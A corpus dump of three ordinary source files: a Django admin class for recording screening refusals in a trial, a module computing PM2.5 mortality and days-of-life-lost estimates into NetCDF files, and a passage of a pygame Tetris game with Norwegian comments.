{"seq_id": "3528181598", "text": "from django.contrib import admin\nfrom django.urls.base import reverse\nfrom django.urls.exceptions import NoReverseMatch\nfrom django_audit_fields.admin import audit_fieldset_tuple\nfrom edc_model_admin.dashboard import ModelAdminSubjectDashboardMixin\nfrom edc_model_admin.model_admin_simple_history import SimpleHistoryAdmin\n\nfrom ..admin_site import inte_screening_admin\nfrom ..forms import SubjectRefusalForm\nfrom ..models import SubjectRefusal\n\n\n@admin.register(SubjectRefusal, site=inte_screening_admin)\nclass SubjectRefusalAdmin(ModelAdminSubjectDashboardMixin, SimpleHistoryAdmin):\n    form = SubjectRefusalForm\n\n    post_url_on_delete_name = \"screening_listboard_url\"\n    subject_listboard_url_name = \"screening_listboard_url\"\n    subject_dashboard_url_name = \"screening_listboard_url\"\n\n    fieldsets = (\n        [\n            None,\n            {\n                \"fields\": (\n                    \"screening_identifier\",\n                    \"report_datetime\",\n                    \"reason\",\n                    \"other_reason\",\n                    \"comment\",\n                )\n            },\n        ],\n        audit_fieldset_tuple,\n    )\n\n    list_display = (\n        \"screening_identifier\",\n        \"report_datetime\",\n        \"reason\",\n        \"user_created\",\n        \"created\",\n    )\n\n    list_filter = (\"report_datetime\", \"reason\")\n\n    search_fields = (\"screening_identifier\",)\n\n    radio_fields = {\"reason\": admin.VERTICAL}\n\n    def get_subject_dashboard_url_kwargs(self, obj):\n        return dict(screening_identifier=obj.screening_identifier)\n\n    def view_on_site(self, obj):\n        try:\n            url = reverse(\n                self.get_subject_dashboard_url_name(),\n                kwargs=self.get_subject_dashboard_url_kwargs(obj),\n            )\n        except NoReverseMatch as e:\n            if callable(super().view_on_site):\n                url = super().view_on_site(obj)\n            else:\n                raise NoReverseMatch(f\"{e}. See subject_dashboard_url_name for {repr(self)}.\")\n        return url\n", "repo_name": "inte-africa-trial/inte-edc", "sub_path": "inte_screening/admin/subject_refusal_admin.py", "file_name": "subject_refusal_admin.py", "file_ext": "py", "file_size_in_byte": 2025, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "edc_model_admin.dashboard.ModelAdminSubjectDashboardMixin", "line_number": 14, "usage_type": "name"}, {"api_name": "edc_model_admin.model_admin_simple_history.SimpleHistoryAdmin", "line_number": 14, "usage_type": "name"}, {"api_name": "forms.SubjectRefusalForm", "line_number": 15, "usage_type": "name"}, {"api_name": "django_audit_fields.admin.audit_fieldset_tuple", "line_number": 34, "usage_type": "name"}, {"api_name": "django.contrib.admin.VERTICAL", "line_number": 49, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 49, "usage_type": "name"}, {"api_name": "django.urls.base.reverse", "line_number": 56, "usage_type": "call"}, {"api_name": "django.urls.exceptions.NoReverseMatch", "line_number": 60, "usage_type": "name"}, {"api_name": "django.urls.exceptions.NoReverseMatch", "line_number": 64, "usage_type": "call"}, {"api_name": "django.contrib.admin.register", "line_number": 13, "usage_type": "call"}, {"api_name": "models.SubjectRefusal", "line_number": 13, "usage_type": "argument"}, {"api_name": "django.contrib.admin", "line_number": 13, "usage_type": "name"}, {"api_name": "admin_site.inte_screening_admin", "line_number": 13, "usage_type": "name"}]}
{"seq_id": "36026838426", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Mar 22 14:32:28 2017\n    \n    Health impacts of PM2.5 - WHO-Europe method (HRAPIE reccomendations)\n    to calculate mortality according to the Risk Rates\n   \n    Corresonding YLLs or days of life lost are calculated considering the \n    distribution of mortality and population by age and by country, \n    where data is not available in the ICD-10 format YLLs are calculated \n    considering the average value for the countries that \n    are availble.\n    \n    ASSUMPTION: baseline values (i.e. mortality and average years of life \n    loss) are averaged in border cells between countries.\n    \n    NB: A positive delta means a reduction!\n    \n    INPUT: \n        - path_healthbl: baseline values for the impact calculation \\\n          produced by precompute_healthia.py\n        - path_config_json_test: configuration file that the SHERPA interface \n          will also use (if it is not there default values are taken)\n        - path_base_conc_cdf_test: optional argument (it is not needed when \n          using the module from the interface)\n    OUTPUT: \n        - healthia.nc \n        \n    - Bibliography:\n    \n    [1] Estimating Local Mortality Burdens associated with Particulate Air \n    Pollution 2014 Public Health England \n    \n    [2] World Health Organization Europe, 2013. Health risks of air pollution\n    in Europe - HRAPIE project - Recommendations for concentration–response\n    functions for cost–benefit analysis of particulate matter, ozone and\n    nitrogen dioxide, Copenhagen Ø, Denmark.\n\n    [3] Holland, M., 2014. Cost-benefit Analysis of Final Policy Scenarios\n    for the EU Clean Air Package Version. Version 2\n\n    [4] World Health Organization Europe, 2017. AirQ+: software tool for health\n    risk assessment of air pollution.\n     \n    [5] Holland, M., 2014. Implementation of the HRAPIE Recommendations for \n    European Air Pollution CBA work. EMRC. \\\n      \n    [6] Data for baseline population \n    \n        ICD codes: ICD-10: A00-B99,C00-D48,D50-D89,E00-E88,F01-F99,G00-G98,\n        H00-H59,H60-H93,I00-I99,J00-J98,K00-K92,L00-L98,M00-M99,N00-N98,\n        O00-O99,P00-P96,Q00-Q99,R00-R99\n        Age: '30 - 85 +'\n        Sex: Both\n        http://data.euro.who.int/dmdb/ [Accessed December 13, 2016].\n\n    @author: peduzem\n    \"\"\"\n\n\nfrom netCDF4 import Dataset  \nimport numpy as np\nimport os as os\nimport json\n\n#\n#from sherpa_globals import (path_result_cdf_test,\n#                            path_healthbl_test, path_config_json_test, path_base_conc_cdf_test,\n#                            )\n\ndef health_impact(pop30plus, pm25_conc, ar_drate, ar_lyl, approx='l'):\n\n    \"\"\"\n    Function that caclulates the health impact\n    \n    INPUT : \n        - pop30plus = array with the distribution of the population over 30 \\\n                      years of age\n        - pm25_conc = array with antrhopogenic concentration of PM2.5 \\\n                      (total)\n        - ar_drate = array with the distribution of baseline death rate \\\n                     (from all cause mortality)\n        - ar_lyl = array with the average years of life lost per death \\\n                    over 30 years of age\n        - approx = 'e' for exponential and 'l' for linear       \n    \n    OUTPUT :\n        - mort = array with mortality (from lower bound to upper bound)\n        - dll = array with the days of life lost per year \\\n                (from lower bound to upper bound)\n        - dll_spec = array with the days of life lost per person per year \\\n                     (from lower bound to upper bound)\n          \n          \n    @author: peduzem\n    \"\"\"\n# -----------------------------------------------------------------------------\n    # create empty arrays to store results\n    mort = np.zeros(np.shape(pop30plus))\n    dll = np.zeros(np.shape(pop30plus))\n    \n# -----------------------------------------------------------------------------\n    # CONCENTRATION RESPONSE FUNCTION:\n    # From [2] Table 1 \n    # Estimate of mortality, all-cause (natural) age 30+ years\n    # PM2.5 Annual mean \n    # RR = 1.062 (1.04-1.083) 95% CI per 10 microg/m3 \n    lrr = 1.04\n    mrr = 1.062\n    hrr = 1.083\n    \n    # From [4] Beta: \n    lbeta = 0.003922071315328133  # lower bound\n    mbeta = 0.006015392281974714  # average value\n    hbeta = 0.007973496801885352  # higher bound\n    # RR = e^(beta x)=(e^(beta*10))^(x/10) = 1.062^(x/10) CI = 1.04, 1.083\n    # (we obtain the same values reported in [2])\n\n    if approx == 'l':\n    # Linear approximation: f(x-x0) = f(x0)+ f'(x0)(x-x0)\n    #                       RR = 1 + e^(beta*10)^(x0/10)*ln(e^(beta*10))*(x-x0)/10\n    #                       RR = 1 + ln(e^(beta*10))*(x-x0)/10 = 1 + coef*x/10\n    # AF = (RR -1)/RR = coef*x/10 / (1+ coef*x/10)\n    \n    # linear approximation\n        lcoef = np.log(lrr)\n        mcoef = np.log(mrr)\n        hcoef = np.log(hrr)\n\n        coef = [lcoef, mcoef, hcoef]\n        pt = len(coef)\n        mort = mort + (np.where(np.isnan(pm25_conc), 0, (\n                     [(coef[i]*pm25_conc/10)/(1+coef[i]*pm25_conc/10)*pop30plus*ar_drate\n                     for i in range(len(coef))]))) \n    \n    # exponential approximation\n    elif approx == 'e':\n    # AF = (RR -1)/RR = e^bx -1 / (e^bx) = 1 -e^(-bx) \n        beta = [lbeta, mbeta, hbeta]\n        pt = len(beta)\n        mort = mort + (np.where(\n                    np.isnan(pm25_conc), 0, (\n                            [(1-(np.exp(-beta[i]*pm25_conc))) *\n                             pop30plus * ar_drate\n                             for i in range(len(beta))]))) \n\n# -----------------------------------------------------------------------------\n    # ESTIMATE OF THE YLL (Not in the Guidelines!)\n    # days of life lost per year \n    dll = dll + (np.where(np.isnan(pm25_conc), 0,\n                             [mort[i] * ar_lyl * 365\n                             for i in range(pt)])) \n    # days of life lost per person per year \n    dll_spec = [np.divide(dll[i], pop30plus, out=np.zeros_like(dll[i]), where=pop30plus!=0) for i in range(pt)] \n    \n# -----------------------------------------------------------------------------\n    # return results    \n    return mort, dll, dll_spec\n\n\n\ndef module8_healthia(path_healthbl, path_result_cdf, path_config_json, *path_base_conc_cdf):\n    \"\"\"\n    Main functin that calculates the health impacts given the paths: \n    input: \n        - path_base_conc_cdf_test = base case concentration \\\n          optional input argument if value_conc is not in the results\n        - path_dust_conc_cdf_test = path of baseline dust concentration \n        - path_salt_conc_cdf_test = path of baseline salt concentration \n        - path_healthbl = path where results are stored (health baseline)\n        - path_result_cdf_test: path of the delta concentrations\n           (output of module1) \n    @author: peduzem\n    \"\"\"\n    # value of concentration from dust and salt (i.e. natural)\n    fh_pm25_natural = Dataset(path_healthbl, mode='r')\n    pm25_natural = fh_pm25_natural.variables['conc'][:]\n    fh_pm25_natural.close()\n\n    # delta concentration from model resutls\n    path_conc_nc = path_result_cdf + 'delta_concentration.nc'\n    fh_deltapm25 = Dataset(path_conc_nc, mode='r')\n    d_pm25_conc = fh_deltapm25.variables['delta_concentration'][:]\n#       pm25_delta = fh_deltapm25.variables['conc'][:]\n    fh_deltapm25.close()\n    \n    # SHERPA interface produces the scenario nc file..     \n    path_value_nc = path_result_cdf + 'value_conc.nc'\n    # if it is not present the scenario concentration has to be calculated \n    # from the base concentration\n    if not os.path.exists(path_value_nc):\n#        if path_base_conc_cdf[0]:\n        if path_base_conc_cdf[0]:\n            print('Calculating scenario value from base case concentration')\n            fh_pm25_base = Dataset(path_base_conc_cdf[0], mode='r')\n            pm25_base = fh_pm25_base.variables['conc'][:]\n            fh_pm25_base.close()\n            pm25_conc = pm25_base - d_pm25_conc                      \n        else: \n            print('Error')\n    else: \n    # if the scenario value is in the results\n        fh_pm25_conc = Dataset(path_value_nc, mode='r')\n        pm25_conc = fh_pm25_conc.variables['conc'][:]\n        fh_pm25_conc.close()\n    \n    # Anthropogenic concentration: scenario values minus natural concentration \n    # -- there are different views on this. At the moment natural background is \n    # substracted to the concentration. See for example: \n    # -- [1]\tH. Fintan, A. Hunt, H. Cowie, M. Holland, B. Miller, S. Pye, and\n    # -- P. Watkiss, “Service Contract for Carrying out Cost-Benefit Analysis\n    # -- of Air Quality Related Issues, in particular in the Clean Air for \n    # -- Europe (CAFE) Programme,” 2005.\n    # -- [2]   The ALPHA Benefit Assessment Model, EC4MACS 2013\n\n    sce_pm25_conc = pm25_conc - pm25_natural  \n\n    # get baseline data from nc file\n    fh = Dataset(path_healthbl, mode='r')\n    pop30plus = fh.variables['ppl30+'][:]\n    fh.close()\n    fh = Dataset(path_healthbl, mode='r')\n    ar_drate = fh.variables['deathsppl30+'][:]\n    fh.close()\n    fh = Dataset(path_healthbl, mode='r')\n    ar_lyl = fh.variables['lyl30+'][:]\n    fh.close()\n    \n # -----------------------------------------------------------------------------   \n    # calculate impacts   \n    sce_mort, sce_dll, sce_dll_spec = health_impact(pop30plus, sce_pm25_conc,\n                                                    ar_drate, ar_lyl, approx='l')\n    bc_pm25 = sce_pm25_conc + d_pm25_conc \n    \n    # this could be improved (the valuse are always the same)\n    bc_mort, bc_dll, bc_dll_spec = health_impact(pop30plus, bc_pm25,\n                                                    ar_drate, ar_lyl, approx='l')\n    delta_mort = bc_mort - sce_mort\n    delta_dll = bc_dll - sce_dll\n    delta_dll_spec = np.array(bc_dll_spec) - np.array(sce_dll_spec)\n\n# -----------------------------------------------------------------------------\n    # Saving results:        \n    # default dictionary to save results:           \n    dflt_dict = {\n\t\"d_mort\":{\n\t\t\"impact\": \"Mortality\",\n\t\t\"data\": \"Delta\",\n\t\t\"ci\":[\"d_mort_lb\", \"d_mort\", \"d_mort_ub\"],\n\n\t\t\"long_description\":[\"delta mortality lower bound\", \"delta mortality\", \"delta mortality upper bound\"],\n\t\t\"aggregation\":\"sum\",\n\t\t\"units\":\"people/year\"},\n\t\"v_mort\":{\n\t\t\"impact\": \"Mortality\",\n\t\t\"data\": \"Value\",\n\t\t\"ci\":[\"v_mort_lb\", \"v_mort\", \"v_mort_ub\"],\n\n\t\t\"long_description\":[\"mortality lower bound\", \"mortality\", \"mortality upper bound\"],\n\t\t\"aggregation\":\"sum\",\n\t\t\"units\":\"people/year\"},\n\t\"d_dll\":\n\t{\n\t\t\"impact\": \"Days of life loss\",\n\t\t\"data\": \"Delta\",\n\t\t\"ci\":[\"d_dll_lb\", \"d_dll\", \"d_dll_ub\"],\n\n\t\t\"long_description\":[\"delta days of life loss lower bound\", \"delta days of life loss\", \"delta days of life loss upper bound\"],\n\t\t\"aggregation\":\"sum\",\n\t\t\"units\":\"dll/year\"},\n\t\"v_dll\":\n\t{\n\t\t\"impact\": \"Days of life loss\",\n\t\t\"data\": \"Value\",\n\t\t\"ci\":[\"v_dll_lb\", \"v_dll\", \"v_dll_ub\"],\n\n\t\t\"long_description\":[\"days of life loss lower bound\", \"days of life loss\", \"days of life loss upper bound\"],\n\t\t\"aggregation\":\"sum\",\n\t\t\"units\":\"dll/year\"},\n\t\"d_dll_pp\":\n\t{\n\t\t\"impact\": \"Days of life loss per person\",\n\t\t\"data\": \"Delta\",\n\t\t\"ci\":[\"d_dll_pp_lb\", \"d_dll_pp\", \"d_dll_pp_ub\"],\n\n\t\t\"long_description\":[\"delta days of life loss per person lower bound\", \"delta days of life loss per person\", \"delta days of life loss per person upper bound\"],\n\t\t\"aggregation\":\"population weighted average\",\n\t\t\"units\":\"dll/(person year)\"},\n\t\"v_dll_pp\":\n\t{\n\t\t\"impact\": \"Days of life loss per person\",\n\t\t\"data\": \"Value\",\n\t\t\"ci\":[\"v_dll_pp_lb\", \"v_dll_pp\", \"v_dll_pp_ub\"],\n\n\t\t\"long_description\":[\"days of life loss per person lower bound\", \"days of life loss per person\", \"days of life loss per person upper bound\"],\n\t\t\"aggregation\":\"population weighted average\",\n\t\t\"units\":\"dll/(person year)\"}\n    }\n\n    # If it exists we use the json config file which is used also by the \n    # SHERPA interface\n    if os.path.exists(path_config_json):    \n        print('Using stored json file')\n        json_file = open(path_config_json)\n        json_str = json_file.read()\n        cfg_dct = json.loads(json_str)\n    else:\n        print('Not using stored json file')\n        cfg_dct = dflt_dict\n    \n    # Generation of results files: \n    outfile=path_result_cdf + 'healthimp.nc'\n    if os.path.exists(outfile):\n        os.remove(outfile)   \n    for key in cfg_dct.keys():\n        if key == 'd_mort':\n            for it in enumerate(cfg_dct[key]['ci']):  \n                write_nc(delta_mort[it[0]], outfile, it[1], cfg_dct[key]['units'], path_healthbl,\n                     addnutsid=False, l_name=cfg_dct[key]['long_description'][it[0]])\n        if key == 'v_mort': \n            for it in enumerate(cfg_dct[key]['ci']):\n                write_nc(sce_mort[it[0]], outfile, it[1], cfg_dct[key]['units'], path_healthbl,\n                     addnutsid=False, l_name=cfg_dct[key]['long_description'][it[0]])\n        if key == 'd_dll':\n            for it in enumerate(cfg_dct[key]['ci']):\n                write_nc(delta_dll[it[0]], outfile, it[1], cfg_dct[key]['units'], path_healthbl,\n                     addnutsid=False, l_name=cfg_dct[key]['long_description'][it[0]])\n        if key == 'v_dll': \n            for it in enumerate(cfg_dct[key]['ci']):  \n                write_nc(sce_dll[it[0]], outfile, it[1], cfg_dct[key]['units'], path_healthbl,\n                     addnutsid=False, l_name=cfg_dct[key]['long_description'][it[0]])\n        if key == 'd_dll_pp':\n            for it in enumerate(cfg_dct[key]['ci']):  \n                write_nc(delta_dll_spec[it[0]], outfile, it[1], cfg_dct[key]['units'], path_healthbl,\n                     addnutsid=False, l_name=cfg_dct[key]['long_description'][it[0]])\n        if key == 'v_dll_pp': \n            for it in enumerate(cfg_dct[key]['ci']):  \n                write_nc(sce_dll_spec[it[0]], outfile, it[1], cfg_dct[key]['units'], path_healthbl,\n                     addnutsid=False, l_name=cfg_dct[key]['long_description'][it[0]])\n    \n## SUPPORT FUNCTIONS (IDEALLY IN THE AUXIALIARIES FILE)\n\ndef write_nc(array, path_nc, name_var, unit_var, path_healthbl, addnutsid=False, l_name=None):\n    ''' Function to write an array in a netcdf file,\n        if the file already exist it is going to write in append mode, \n        otherwise in write mode. \n        input:\n            - array: data to write\n            - path_nc: path of netcdf file\n            - name_var: name for data in array\n            - unit_var: units for data in array\n            - path_healthbl: ncd file template (for lon and lat arrays)\n            - addnutsid: if True the layer nuts_id is added so that the\n                nectcdf file is consistent with the ones provided\n                by terraria\n        ouput: \n            - nc file\n    @author: peduzem\n    '''\n    rootgrp = Dataset(path_healthbl, 'r')\n    lon_array = rootgrp.variables['longitude'][:]\n    lat_array = rootgrp.variables['latitude'][:]\n    rootgrp.close()\n\n    if not os.path.exists(path_nc):\n        mode = 'w' \n        fh=Dataset(path_nc, mode=mode, format='NETCDF3_CLASSIC') \n        fh.createDimension('latitude', len(lat_array))\n        fh.createDimension('longitude', len(lon_array))\n        latitude = fh.createVariable('latitude', 'f4', ('latitude',))\n        longitude = fh.createVariable('longitude', 'f4', ('longitude',)) \n        if addnutsid is True:\n#        fh.createDimension('z', 10)\n            fh.createDimension('nuts_id', 1)\n            var = fh.createVariable(name_var, 'f8',\n                                    ('nuts_id', 'latitude', 'longitude',))\n            nutsid = fh.createVariable('NUTS', 'i4', ('nuts_id',))\n            longitude[:] = lon_array\n            latitude[:] = lat_array\n            nutsid[0] = 1\n            var[0, :] = array\n        elif addnutsid is False:\n            longitude[:] = lon_array\n            latitude[:] = lat_array\n            var = fh.createVariable(name_var, 'f8', ('latitude', 'longitude'))\n            var[:] = array          \n    else:\n        mode = 'a'\n        fh=Dataset(path_nc, mode=mode, format='NETCDF3_CLASSIC')\n        if addnutsid is True:\n            var = fh.createVariable(name_var, 'f8',\n                                    ('nuts_id', 'latitude', 'longitude',))\n            var[0, :] = array\n        elif addnutsid is False:\n            var = fh.createVariable(name_var, 'f8', ('latitude', 'longitude'))\n            var[:] = array\n\n    fh.variables[name_var].units = unit_var\n    if l_name is not None:\n            fh.variables[name_var].long_name =l_name   \n    fh.close()  \n\n\nif __name__ == '__main__':\n    \n#    module8_healthia(path_healthbl_test, path_result_cdf_test, path_config_json_test, path_base_conc_cdf_test)\n\n    pass\n", "repo_name": "enricopisoni/SHERPA-simulation-old", "sub_path": "module8_healthia.py", "file_name": "module8_healthia.py", "file_ext": "py", "file_size_in_byte": 16698, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "71", "api": [{"api_name": "numpy.zeros", "line_number": 99, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 99, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 100, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 100, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 126, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 127, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 128, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 132, "usage_type": "call"}, {"api_name": "numpy.isnan", "line_number": 132, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 141, "usage_type": "call"}, {"api_name": "numpy.isnan", "line_number": 142, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 143, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 150, "usage_type": "call"}, {"api_name": "numpy.isnan", "line_number": 150, "usage_type": "call"}, {"api_name": "numpy.divide", "line_number": 154, "usage_type": "call"}, {"api_name": "numpy.zeros_like", "line_number": 154, "usage_type": "call"}, {"api_name": "netCDF4.Dataset", "line_number": 176, "usage_type": "call"}, {"api_name": "netCDF4.Dataset", "line_number": 182, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 191, "usage_type": "call"}, {"api_name": "os.path", "line_number": 191, "usage_type": "attribute"}, {"api_name": "netCDF4.Dataset", "line_number": 195, "usage_type": "call"}, {"api_name": "netCDF4.Dataset", "line_number": 203, "usage_type": "call"}, {"api_name": "netCDF4.Dataset", "line_number": 219, "usage_type": "call"}, {"api_name": "netCDF4.Dataset", "line_number": 222, "usage_type": "call"}, {"api_name": "netCDF4.Dataset", "line_number": 225, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 240, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 302, "usage_type": "call"}, {"api_name": "os.path", "line_number": 302, "usage_type": "attribute"}, {"api_name": "json.loads", "line_number": 306, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 313, "usage_type": "call"}, {"api_name": "os.path", "line_number": 313, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 314, "usage_type": "call"}, {"api_name": "netCDF4.Dataset", "line_number": 360, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 365, "usage_type": "call"}, {"api_name": "os.path", "line_number": 365, "usage_type": "attribute"}, {"api_name": "netCDF4.Dataset", "line_number": 367, "usage_type": "call"}, {"api_name": "netCDF4.Dataset", "line_number": 389, "usage_type": "call"}]}
{"seq_id": "24054737792", "text": "import pygame\r\nimport random\r\n\r\npygame.font.init()\r\n\r\n# Globale verdier\r\ns_bredde = 600                                   # bredde på vindu\r\ns_hoyde = 550                                    # lengde på vindu\r\nblokk_storrelse = 20                             # størrelse på blokk\r\nblokker_bredde = 10                              # antall blokker bortover\r\nblokker_hoyde = 20                               # antall blokker nedover\r\npoeng_level = 200                                # poeng som kreves per level\r\n\r\nspill_bredde = blokker_bredde * blokk_storrelse  # spillvindu størrelse\r\nspill_høyde = blokker_hoyde * blokk_storrelse    # spillvindu \r\ntop_venstre_x = (s_bredde - spill_bredde) // 2   # finne start posisjon\r\ntop_venstre_y = s_hoyde - spill_høyde - 50\r\n\r\nmax_score = 0\r\n\r\n\r\n# Figurer\r\n\r\nS = [['.....',\r\n      '.....',\r\n      '..00.',\r\n      '.00..',\r\n      '.....'],\r\n     ['.....',\r\n      '..0..',\r\n      '..00.',\r\n      '...0.',\r\n      '.....']]\r\n\r\nZ = [['.....',\r\n      '.....',\r\n      '.00..',\r\n      '..00.',\r\n      '.....'],\r\n     ['.....',\r\n      '..0..',\r\n      '.00..',\r\n      '.0...',\r\n      '.....']]\r\n\r\nI = [['..0..',\r\n      '..0..',\r\n      '..0..',\r\n      '..0..',\r\n      '.....'],\r\n     ['.....',\r\n      '0000.',\r\n      '.....',\r\n      '.....',\r\n      '.....']]\r\n\r\nO = [['.....',\r\n      '.....',\r\n      '.00..',\r\n      '.00..',\r\n      '.....']]\r\n\r\nJ = [['.....',\r\n      '.0...',\r\n      '.000.',\r\n      '.....',\r\n      '.....'],\r\n     ['.....',\r\n      '..00.',\r\n      '..0..',\r\n      '..0..',\r\n      '.....'],\r\n     ['.....',\r\n      '.....',\r\n      '.000.',\r\n      '...0.',\r\n      '.....'],\r\n     ['.....',\r\n      '..0..',\r\n      '..0..',\r\n      '.00..',\r\n      '.....']]\r\n\r\nL = [['.....',\r\n      '...0.',\r\n      '.000.',\r\n      '.....',\r\n      '.....'],\r\n     ['.....',\r\n      '..0..',\r\n      '..0..',\r\n      '..00.',\r\n      '.....'],\r\n     ['.....',\r\n      '.....',\r\n      '.000.',\r\n      '.0...',\r\n      '.....'],\r\n     ['.....',\r\n      '.00..',\r\n      '..0..',\r\n      '..0..',\r\n      '.....']]\r\n\r\nT = [['.....',\r\n      '..0..',\r\n      '.000.',\r\n      '.....',\r\n      '.....'],\r\n     ['.....',\r\n      '..0..',\r\n      '..00.',\r\n      '..0..',\r\n      '.....'],\r\n     ['.....',\r\n      '.....',\r\n      '.000.',\r\n      '..0..',\r\n      '.....'],\r\n     ['.....',\r\n      '..0..',\r\n      '.00..',\r\n      '..0..',\r\n      '.....']]\r\n\r\nfigurer = [S, Z, I, O, J, L, T]\r\nfigur_farger = [(0, 255, 0, 0), (255, 0, 0, 0), (0, 255, 255, 0), (255, 255, 0, 0), (255, 165, 0, 0), (0, 0, 255, 0), (128, 0, 128, 0)]\r\n# indeks 0 - 6 representerer figurene\r\n\r\n\r\nclass Blokk(object):                                             # definerer klassen \"Blokk\" med x-verdi, y-verdi, figur, farger og rotasjon\r\n    def __init__(self, x, y, figur):\r\n        self.x = x\r\n        self.y = y\r\n        self.figur = figur\r\n        self.farge = figur_farger[figurer.index(figur)]\r\n        self.rotasjon = 0\r\n    def getHoyde(self):                                          # får ut høyden til en figur\r\n        (ins, cf) = get_koordinat(self)                          # gjør om til koordinater\r\n        minY = min(y for (x,y) in cf)\r\n        maxY = max(y for (x,y) in cf)\r\n        return maxY - minY + 1\r\n\r\ndef lage_grid(laast_pos={}):                                     # lager en spill ramme\r\n    global blokker_bredde,blokker_hoyde           \r\n    grid = [[(0,0,0,0) for _ in range(blokker_bredde)] for _ in range(blokker_hoyde)]\r\n    # lager et svart 10x20 rektangel\r\n\r\n    for i in range(len(grid)):\r\n        for j in range(len(grid[i])):\r\n            if (j, i) in laast_pos:                              # lagrer fargen til ruter som har falt (låst posisjon)\r\n                c = laast_pos[(j,i)]\r\n                grid[i][j] = c\r\n    return grid\r\n\r\n\r\ndef get_koordinat(figur):                                        # gjør om figurene til koordinater\r\n    posisjoner = []\r\n    format = figur.figur[figur.rotasjon % len(figur.figur)]      # få formen av figuren\r\n\r\n    for i, line in enumerate(format):                            # splitter figur til lister med indeks til hver rad\r\n        row = list(line)\r\n        for j, column in enumerate(row):                         # splitter radene til enkelte ruter\r\n            if column == '0':\r\n                posisjoner.append((figur.x + j, figur.y + i))    # finner koordinatene til hver rute med farge\r\n\r\n    for i, pos in enumerate(posisjoner):\r\n        posisjoner[i] = (pos[0] - 2, pos[1] - 4)\r\n        \r\n    iSkjerm = all(y >= 0 for (x,y) in posisjoner)\r\n\r\n    return (iSkjerm, posisjoner)\r\n\r\n\r\ndef gyldig_plass(figur, grid):                                   # sjekker om figurerne er innenfor rammen\r\n    global blokker_bredde, blokker_hoyde\r\n    # finner ledige ruter\r\n    ledig_pos = [[(j, i) for j in range(blokker_bredde) if grid[i][j] == (0,0,0,0)] for i in range(blokker_hoyde)]\r\n    ledig_pos = [j for sub in ledig_pos for j in sub]\r\n\r\n    iSkjerm, formatted = get_koordinat(figur)\r\n\r\n    for pos in formatted:                                        # sjekker om hver posisjon er gyldig\r\n        if pos not in ledig_pos:\r\n            if pos[1] > -1:\r\n                return False\r\n    return True\r\n\r\ndef sjekk_tapt(posisjoner):                                      # sjekker om figuren når toppen\r\n    for pos in posisjoner:\r\n        x, y = pos\r\n        if y < 1:\r\n            return True\r\n    return False\r\n\r\n\r\ndef get_figur():                                                 # gir en tilfeldig figur\r\n    return Blokk(5, 0, random.choice(figurer))\r\n\r\n\r\ndef get_skygge_Blokk(fallendeBlokk):                             # skaper en brikke som viser hvor den fallende brikken kommer til å lande\r\n    skyggeBlokk = Blokk(fallendeBlokk.x, fallendeBlokk.y, fallendeBlokk.figur)\r\n    skyggeBlokk.rotasjon = fallendeBlokk.rotasjon\r\n    l = list(fallendeBlokk.farge)\r\n    l[3] = 128                                                   # gjør figuren halvveis gjennomsiktig\r\n    skyggeBlokk.farge = tuple(l)\r\n    skyggeBlokk.y = fallendeBlokk.y + fallendeBlokk.getHoyde()\r\n    return skyggeBlokk\r\n\r\ndef isSkygge(farge_tuple):                                       # sjekker om figur er en skygge figur\r\n    l = list(farge_tuple)\r\n    return l[3] == 128\r\n\r\ndef get_farge(farge_tuple):                                      # gjør figur halvveis gjennomsiktig\r\n    l = list(farge_tuple)\r\n    return tuple(l[:3])\r\n\r\ndef skygge(fallende_Blokk, gammel_skygge_Blokk, grid):           # lage skygge hvis mulig\r\n    if ((gammel_skygge_Blokk != None)                            # sjekker om at den fallende figuren ikke er lik skyggen\r\n        and (fallende_Blokk.y + fallende_Blokk.getHoyde() >= gammel_skygge_Blokk.y) \r\n        and (fallende_Blokk.figur == gammel_skygge_Blokk.figur)\r\n        and (fallende_Blokk.rotasjon == gammel_skygge_Blokk.rotasjon)\r\n        and (fallende_Blokk.x == gammel_skygge_Blokk.x)):\r\n            return fallende_Blokk;    \r\n    skyggeBlokk = get_skygge_Blokk(fallende_Blokk)               # skaper skygge figur\r\n    funnetGyldig = False\r\n    GyldigY1 = -1                                                \r\n    while (skyggeBlokk.y < 30) and (funnetGyldig == False):      # flytter skyggen nedover til første gyldige y-verdi uten å være lik den fallende figuren\r\n        skyggeBlokk.y += 1\r\n        funnetGyldig = gyldig_plass(skyggeBlokk, grid)           # sjekker om gyldig\r\n    if (funnetGyldig):\r\n        GyldigY1 = skyggeBlokk.y                                 # flytter skyggen til første gyldige y-verdi   \r\n        funnetIGyldig = False\r\n        while (skyggeBlokk.y < 30) and (funnetIGyldig == False): # flytter skygge nedover til noe stopper den\r\n            skyggeBlokk.y += 1\r\n            funnetIGyldig = not gyldig_plass(skyggeBlokk, grid)\r\n        if funnetIGyldig:                                        # stopper skyggeblokken\r\n            skyggeBlokk.y -= 1  \r\n            return skyggeBlokk\r\n        else:\r\n            skyggeBlokk.y = GyldigY1\r\n            return skyggeBlokk\r\n    return fallende_Blokk\r\n\r\ndef tegne_tekst(overflate, tekst, storrelse, farge):             # funksjon som skriver ut tekster  \r\n    font = pygame.font.SysFont(\"comicsans\", storrelse, bold=True)\r\n    label = font.render(tekst, 1, farge)\r\n\r\n    overflate.blit(label, (top_venstre_x + spill_bredde /2 - (label.get_width()/2), top_venstre_y + spill_høyde/2 - label.get_height()/2))\r\n\r\n\r\ndef tegne_ruter(surface, grid):                                  # lager rutene\r\n    sx = 